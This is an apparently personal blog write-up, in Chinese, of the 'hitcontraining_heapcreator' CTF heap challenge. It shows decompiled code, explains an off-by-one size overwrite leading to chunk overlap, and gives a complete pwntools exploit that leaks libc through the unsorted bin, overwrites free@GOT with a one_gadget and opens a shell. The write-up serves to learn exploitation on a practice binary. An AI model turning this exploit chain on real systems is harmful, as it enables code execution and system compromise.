hitcontraining_heapcreator

文章发布时间:

最后更新时间:

文章总字数:
2k

预计阅读时间:
9 分钟

做完这道题又学到一种合并堆的手法 感觉收获颇丰

checksec 看一下

1
2
3
4
5
6
7
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/home/chen/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

常规的64位堆菜单题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
  int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
menu();
read(0, buf, 4uLL);
switch ( atoi(buf) )
{
case 1:
create_heap();
break;
case 2:
edit_heap();
break;
case 3:
show_heap();
break;
case 4:
delete_heap();
break;
case 5:
exit(0);
default:
puts("Invalid Choice");
break;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned __int64 create_heap()
{
__int64 v0; // rbx
int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]

v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heaparray + i) )
{
*(&heaparray + i) = malloc(0x10uLL);
if ( !*(&heaparray + i) )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
v0 = *(&heaparray + i);
*(v0 + 8) = malloc(size);
if ( !*(*(&heaparray + i) + 1) )
{
puts("Allocate Error");
exit(2);
}
**(&heaparray + i) = size;
printf("Content of heap:");
read_input(*(*(&heaparray + i) + 1), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}

先来分析一下create函数 首先创建了一个0x10大小的堆块 并将其地址存储在bss段上的一个全局数组里面 随后让我们输入要创建的堆块大小 这里我们先将这个0x10大小的堆块称为伴随堆块

接着将创建的这个堆块的地址存储在伴随堆块的第二个字长处 并且将创建的大小存在第一个字长处

基础的堆还是很常见这种创建两个chunk的 一般利用手法就是覆盖地址 来任意地址写 这里留意一下就可以了

再来看一下edit函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 edit_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Content of heap : ");
read_input(*(*(&heaparray + v1) + 1), **(&heaparray + v1) + 1LL);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

注意一下这个read_input函数就好了 跟进一下看是干什么的

1
2
3
4
5
6
7
8
9
10
11
12
ssize_t __fastcall read_input(void *a1, size_t a2)
{
ssize_t result; // rax

result = read(0, a1, a2);
if ( result <= 0 )
{
puts("Error");
_exit(-1);
}
return result;
}

理解起来没什么难度 * (*(&heaparray + v1) + 1)) 是我们创建的堆块的地址 **(&heaparray + v1) + 1LL是伴随堆块的第一个字长处的内容 也就是我们输入的size 二者结合起来 这个函数就是向我们创建的堆块中输入我们之前定义好的size大小 也就是不能进行堆溢出了(不破坏堆结构的情况下)

接着再看一下show函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 show_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Size : %ld\nContent : %s\n", **(&heaparray + v1), *(*(&heaparray + v1) + 1));
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

用的是printf函数 遇到\x00截停 这个就不用说了 留意一下 反正泄露基址肯定是用到show函数的

最后是比较关键的delete函数 看一下我们有什么漏洞可以利用吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
free(*(*(&heaparray + v1) + 1));
free(*(&heaparray + v1));
*(&heaparray + v1) = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

很遗憾的是把指针置零了 不能UAF 或者double free来任意写

程序遍历到这里 就应该有个差不多的思路了 先泄露基址 然后再通过伴随堆块的地址索引来任意写

那么具体怎么实现呢?

我这里选择的是unsortedbin 泄露main_arena地址 没办法 太好用了

1
2
3
4
5
6
7
8
9
10
add(0x88,b"aaaa") #0
add(0x20,b"bbbb") #1
add(0x20,b"cccc") #2
delete(0)
payload = b'a'*7+b'b'
add(0x88,payload) #0
show(0)
io.recvuntil("b")
main_arena = u64(io.recv(6).ljust(8,b"\x00"))
libc_addr = main_arena - (0x7fa0ee626b78-0x7fa0ee262000)

chunk1和chunk2的作用我们这里可以先不用去纠结 先来解释一下payload为什么这样写 因为我们要通过show函数泄露基址的话

刚才也说过了 printf函数遇到\x00就会截停 所以fd域那边就会截停 但是我们创建堆块一定要输入数据 所以泄露fd的话最后得到的是不完整的地址 所以干脆覆盖满fd域 这样就会一直输出到fd域的地址 就泄露了基址 libc的计算办法我前面的博客有说到 这里不赘述

接下来的难点还是在如何利用伴随堆块来任意写 我们没有办法进行堆溢出 不过我们还是有办法溢出一点点字节的

如果我们申请一个0xn8的堆块 但是实际上系统分配给我们的是0xn0的堆块 但是存储起来的size是多出了16个字节的 因为64位情况下 堆块的最小单位是0x10字节 所以我们可以溢出覆盖到下一个chunk的size域

1
2
3
payload = cyclic(0x88)+b"\x71"
edit(0,payload)
delete(1)

这里溢出覆盖到的实际上是chunk1的伴随堆块 这也导致其往后0x70的空间都被划为这个堆块的区域 因为glibc识别到了size 被我们所欺骗了 这时候释放chunk1 bin中就会存储一个0x70大小的free chunk

我们重新申请一个chunk的话 就拥有了0x60大小的空间

同时 你还要注意 chunk2的指针是仍然存在的 而我们获得的空间是包含chunk2的伴随堆块

这时候你回忆一下 edit函数是根据伴随堆块的第二个字长处的地址来写入第一个字长处大小的数据 所以我们通过覆盖这两个字长 就可以做到任意地址任意长度写

1
2
3
4
5
payload = cyclic(0x8*10)+p64(0x8)+p64(elf.got['free'])
add(0x60,payload) #1
#0x45216 0x4526a 0xf02a4 0xf1147
onegadget_addr = libc_addr + 0xf02a4
edit(2,p64(onegadget_addr))

随后还有最后一个你可能会犯错的地方 你之前def的函数 如果有包括delete函数执行完以后 程序给你输出的done 那么是接收不到的 因为如果pwn成功了 直接就进行了系统调用 没有机会输出done的 手动再写一下就可以了

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import*
from LibcSearcher import *
#io = remote("node4.buuoj.cn",29378)
io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./buu16_64.so")
context.log_level = "debug"

def add(size,payload):
io.recvuntil("Your choice :")
io.sendline(b"1")
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap:")
io.send(payload)
io.recvuntil("SuccessFul")

def edit(index,payload):
io.recvuntil("Your choice :")
io.sendline(b"2")
io.recvuntil("Index :")
io.sendline(str(index))
io.recvuntil("Content of heap : ")
io.send(payload)
io.recvuntil("Done !")

def show(index):
io.recvuntil("Your choice :")
io.sendline(b"3")
io.recvuntil("Index :")
io.sendline(str(index))

def delete(index):
io.recvuntil("Your choice :")
io.sendline(b"4")
io.recvuntil("Index :")
io.sendline(str(index))
io.recvuntil("Done !")

add(0x88,b"aaaa") #0
add(0x20,b"bbbb") #1
add(0x20,b"cccc") #2
delete(0)
payload = b'a'*7+b'b'
add(0x88,payload) #0
show(0)
io.recvuntil("b")
main_arena = u64(io.recv(6).ljust(8,b"\x00"))
libc_addr = main_arena - (0x7fa0ee626b78-0x7fa0ee262000)
payload = cyclic(0x88)+b"\x71"
edit(0,payload)
delete(1)
payload = cyclic(0x8*10)+p64(0x8)+p64(elf.got['free'])
add(0x60,payload) #1
gdb.attach(io)
#0x45216 0x4526a 0xf02a4 0xf1147
onegadget_addr = libc_addr + 0xf02a4
edit(2,p64(onegadget_addr))
io.recvuntil("Your choice :")
io.sendline(b"4")
io.recvuntil("Index :")
io.sendline(b"2")
io.interactive()